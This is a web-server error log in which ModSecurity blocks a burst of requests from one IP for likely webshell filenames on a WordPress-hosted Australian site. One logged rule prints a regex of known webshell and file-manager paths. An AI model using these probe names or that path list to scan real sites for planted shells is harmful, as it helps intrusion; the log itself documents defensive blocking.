[Thu Nov 20 16:14:37.020383 2025] [:error] [pid 40445:tid 40475] [client 20.27.30.201:4067] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc1.php"] [unique_id "aR7N7VH-MuFcoWRjXpYt2QAAAkA"]
[Thu Nov 20 16:14:37.581397 2025] [:error] [pid 55340:tid 55368] [client 20.27.30.201:4027] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc1.php"] [unique_id "aR7N7fOxD-NeMydTybCB2QAAABc"]
[Thu Nov 20 16:14:38.270636 2025] [:error] [pid 34405:tid 34411] [client 20.27.30.201:4025] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc1.php"] [unique_id "aR7N7jFpvu8oRK7ATfv7KgAAAQQ"]
[Thu Nov 20 16:14:38.860604 2025] [:error] [pid 40508:tid 40522] [client 20.27.30.201:3918] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "aR7N7qxXNVCMW_ksxPtw1wAAAow"]
[Thu Nov 20 16:14:39.444720 2025] [:error] [pid 55430:tid 55455] [client 20.27.30.201:3919] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "aR7N7_PZXaIMEU4pE7vk2gAAANY"]
[Thu Nov 20 16:14:41.098462 2025] [:error] [pid 55342:tid 55394] [client 20.27.30.201:4029] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "aR7N8bg6x32Tvk7fIG-9CgAAAFY"]
[Thu Nov 20 16:14:41.770192 2025] [:error] [pid 40445:tid 40482] [client 20.27.30.201:4073] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "aR7N8VH-MuFcoWRjXpYt9QAAAkc"]
[Thu Nov 20 16:14:42.589909 2025] [:error] [pid 40445:tid 40478] [client 20.27.30.201:3951] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aR7N8lH-MuFcoWRjXpYt_wAAAkM"]
[Thu Nov 20 16:14:43.134380 2025] [:error] [pid 55430:tid 55433] [client 20.27.30.201:4013] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aR7N8_PZXaIMEU4pE7vk6wAAAMA"]
[Thu Nov 20 16:14:44.445752 2025] [:error] [pid 40537:tid 40550] [client 20.27.30.201:3999] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aR7N9KKlsL5kxTa3c1zJqwAAAsk"]
[Thu Nov 20 16:14:45.593168 2025] [:error] [pid 55342:tid 55386] [client 20.27.30.201:4014] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aR7N9bg6x32Tvk7fIG-9EQAAAE4"]
[Thu Nov 20 16:14:46.361363 2025] [:error] [pid 55342:tid 55396] [client 20.27.30.201:3949] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aR7N9rg6x32Tvk7fIG-9FAAAAFg"]
[Thu Nov 20 16:14:47.120735 2025] [:error] [pid 55343:tid 55404] [client 20.27.30.201:3957] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aR7N91WlO3EnyVMV7w6XJQAAAIU"]
[Thu Nov 20 16:14:48.064377 2025] [:error] [pid 40508:tid 40512] [client 20.27.30.201:4076] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aR7N-KxXNVCMW_ksxPtw3AAAAoI"]
[Thu Nov 20 16:14:49.605089 2025] [:error] [pid 40508:tid 40524] [client 20.27.30.201:3964] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aR7N-axXNVCMW_ksxPtw3QAAAo4"]
[Thu Nov 20 16:14:51.894389 2025] [:error] [pid 40445:tid 40490] [client 20.27.30.201:4085] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aR7N-1H-MuFcoWRjXpYuFAAAAk8"]
[Thu Nov 20 16:14:56.843297 2025] [:error] [pid 40415:tid 40442] [client 20.27.30.201:3909] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aR7OAKhjIyLSv09svwOEpgAAAdg"]
[Thu Nov 20 16:14:57.841209 2025] [:error] [pid 40415:tid 40426] [client 20.27.30.201:3945] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aR7OAahjIyLSv09svwOEpwAAAcg"]
[Thu Nov 20 16:14:59.160341 2025] [:error] [pid 40415:tid 40419] [client 20.27.30.201:3870] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aR7OA6hjIyLSv09svwOErAAAAcE"]
[Thu Nov 20 16:15:00.440637 2025] [:error] [pid 34405:tid 34417] [client 20.27.30.201:3857] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpas22.php"] [unique_id "aR7OBDFpvu8oRK7ATfv7VwAAAQo"]
[Thu Nov 20 16:15:01.292817 2025] [:error] [pid 55342:tid 55392] [client 20.27.30.201:3925] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpas22.php"] [unique_id "aR7OBbg6x32Tvk7fIG-9JAAAAFQ"]
[Thu Nov 20 16:15:03.113097 2025] [:error] [pid 55340:tid 55366] [client 20.27.30.201:3942] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpas22.php"] [unique_id "aR7OB_OxD-NeMydTybCB6gAAABU"]
[Thu Nov 20 16:15:05.967726 2025] [:error] [pid 40445:tid 40497] [client 20.27.30.201:4031] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpas22.php"] [unique_id "aR7OCVH-MuFcoWRjXpYuJQAAAlY"]
[Thu Nov 20 16:15:07.096426 2025] [:error] [pid 40508:tid 40513] [client 20.27.30.201:3944] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aR7OC6xXNVCMW_ksxPtw6AAAAoM"]
[Thu Nov 20 16:15:12.790261 2025] [:error] [pid 55430:tid 55456] [client 20.27.30.201:3904] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aR7OEPPZXaIMEU4pE7vlFAAAANc"]
[Thu Nov 20 16:15:13.650319 2025] [:error] [pid 40508:tid 40526] [client 20.27.30.201:3927] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aR7OEaxXNVCMW_ksxPtw8wAAApA"]
[Thu Nov 20 16:15:15.313966 2025] [:error] [pid 40445:tid 40488] [client 20.27.30.201:3911] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aR7OE1H-MuFcoWRjXpYuMQAAAk0"]
[Thu Nov 20 16:15:16.411299 2025] [:error] [pid 55343:tid 55402] [client 20.27.30.201:3992] [client 20.27.30.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aR7OFFWlO3EnyVMV7w6XNwAAAIM"]
[Thu Nov 20 16:15:17.847632 2025] [:error] [pid 55342:tid 55396] [client 20.27.30.201:3855] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eauu.php"] [unique_id "aR7OFbg6x32Tvk7fIG-9OAAAAFg"]
[Thu Nov 20 16:15:18.489388 2025] [:error] [pid 40636:tid 40653] [client 20.27.30.201:3914] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eauu.php"] [unique_id "aR7OFgK8BWUoW3xq0HDz1gAAA40"]
[Thu Nov 20 16:15:19.200130 2025] [:error] [pid 40636:tid 40647] [client 20.27.30.201:4053] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eauu.php"] [unique_id "aR7OFwK8BWUoW3xq0HDz1wAAA4c"]
[Thu Nov 20 16:15:20.189076 2025] [:error] [pid 55430:tid 55445] [client 20.27.30.201:4047] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eauu.php"] [unique_id "aR7OGPPZXaIMEU4pE7vlFgAAAMw"]
[Thu Nov 20 16:15:20.886647 2025] [:error] [pid 55340:tid 55347] [client 20.27.30.201:3961] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aR7OGPOxD-NeMydTybCB9AAAAAI"]
[Thu Nov 20 16:15:23.041469 2025] [:error] [pid 55340:tid 55363] [client 20.27.30.201:3859] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aR7OG_OxD-NeMydTybCB9QAAABI"]
[Thu Nov 20 16:15:26.557272 2025] [:error] [pid 55342:tid 55378] [client 20.27.30.201:4091] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aR7OHrg6x32Tvk7fIG-9PAAAAEY"]
[Thu Nov 20 16:15:29.364090 2025] [:error] [pid 55430:tid 55442] [client 20.27.30.201:4004] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aR7OIfPZXaIMEU4pE7vlGwAAAMk"]
[Thu Nov 20 16:15:30.512140 2025] [:error] [pid 55340:tid 55356] [client 20.27.30.201:3923] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ru.php"] [unique_id "aR7OIvOxD-NeMydTybCB-QAAAAs"]
[Thu Nov 20 16:15:32.721883 2025] [:error] [pid 40445:tid 40480] [client 20.27.30.201:4081] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ru.php"] [unique_id "aR7OJFH-MuFcoWRjXpYuPQAAAkU"]
[Thu Nov 20 16:15:36.455383 2025] [proxy_fcgi:error] [pid 34405:tid 34423] [client 20.27.30.201:3995] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:15:36.786471 2025] [proxy_fcgi:error] [pid 34405:tid 34420] [client 20.27.30.201:3995] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:15:36.903859 2025] [proxy_fcgi:error] [pid 34405:tid 34415] [client 20.27.30.201:3995] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:15:37.022288 2025] [proxy_fcgi:error] [pid 34405:tid 34409] [client 20.27.30.201:3995] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:15:37.146670 2025] [proxy_fcgi:error] [pid 34405:tid 34416] [client 20.27.30.201:3995] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:15:37.269691 2025] [proxy_fcgi:error] [pid 34405:tid 34418] [client 20.27.30.201:3995] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:15:37.660223 2025] [proxy_fcgi:error] [pid 34405:tid 34408] [client 20.27.30.201:3995] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:15:37.777851 2025] [proxy_fcgi:error] [pid 34405:tid 34429] [client 20.27.30.201:3995] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:15:37.916384 2025] [proxy_fcgi:error] [pid 34405:tid 34411] [client 20.27.30.201:3995] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:15:38.075632 2025] [proxy_fcgi:error] [pid 34405:tid 34414] [client 20.27.30.201:3995] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:15:38.226356 2025] [proxy_fcgi:error] [pid 34405:tid 34407] [client 20.27.30.201:3995] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:15:38.341823 2025] [:error] [pid 34405:tid 34412] [client 20.27.30.201:3995] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aR7OKjFpvu8oRK7ATfv7hAAAAQU"]
[Thu Nov 20 16:15:39.488839 2025] [:error] [pid 55342:tid 55391] [client 20.27.30.201:4009] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aR7OK7g6x32Tvk7fIG-9QQAAAFM"]
[Thu Nov 20 16:15:40.597031 2025] [:error] [pid 34405:tid 34428] [client 20.27.30.201:4023] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aR7OLDFpvu8oRK7ATfv7hgAAARU"]
[Thu Nov 20 16:15:41.987133 2025] [:error] [pid 55343:tid 55417] [client 20.27.30.201:3873] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aR7OLVWlO3EnyVMV7w6XTAAAAJI"]
[Thu Nov 20 16:15:42.562699 2025] [:error] [pid 40636:tid 40653] [client 20.27.30.201:3896] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aR7OLgK8BWUoW3xq0HDz6QAAA40"]
[Thu Nov 20 16:15:45.422518 2025] [:error] [pid 40508:tid 40522] [client 20.27.30.201:3962] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aR7OMaxXNVCMW_ksxPtxJQAAAow"]
[Thu Nov 20 16:15:46.139794 2025] [:error] [pid 55430:tid 55434] [client 20.27.30.201:3892] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aR7OMvPZXaIMEU4pE7vlJAAAAME"]
[Thu Nov 20 16:15:48.214965 2025] [:error] [pid 40415:tid 40431] [client 20.27.30.201:3985] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aR7ONKhjIyLSv09svwOExAAAAc0"]
[Thu Nov 20 16:15:49.443502 2025] [:error] [pid 55343:tid 55402] [client 20.27.30.201:3922] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wio.php"] [unique_id "aR7ONVWlO3EnyVMV7w6XVAAAAIM"]
[Thu Nov 20 16:15:49.880686 2025] [:error] [pid 55342:tid 55395] [client 20.27.30.201:3960] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wio.php"] [unique_id "aR7ONbg6x32Tvk7fIG-9SQAAAFc"]
[Thu Nov 20 16:15:50.910533 2025] [:error] [pid 40636:tid 40654] [client 20.27.30.201:3954] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wio.php"] [unique_id "aR7ONgK8BWUoW3xq0HDz7gAAA44"]
[Thu Nov 20 16:15:51.529926 2025] [:error] [pid 40537:tid 40565] [client 20.27.30.201:3952] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wio.php"] [unique_id "aR7ON6KlsL5kxTa3c1zJywAAAtg"]
[Thu Nov 20 16:15:52.176197 2025] [:error] [pid 40508:tid 40524] [client 20.27.30.201:3915] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oswkk.php"] [unique_id "aR7OOKxXNVCMW_ksxPtxLAAAAo4"]
[Thu Nov 20 16:15:53.520518 2025] [:error] [pid 40508:tid 40515] [client 20.27.30.201:3841] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oswkk.php"] [unique_id "aR7OOaxXNVCMW_ksxPtxLwAAAoU"]
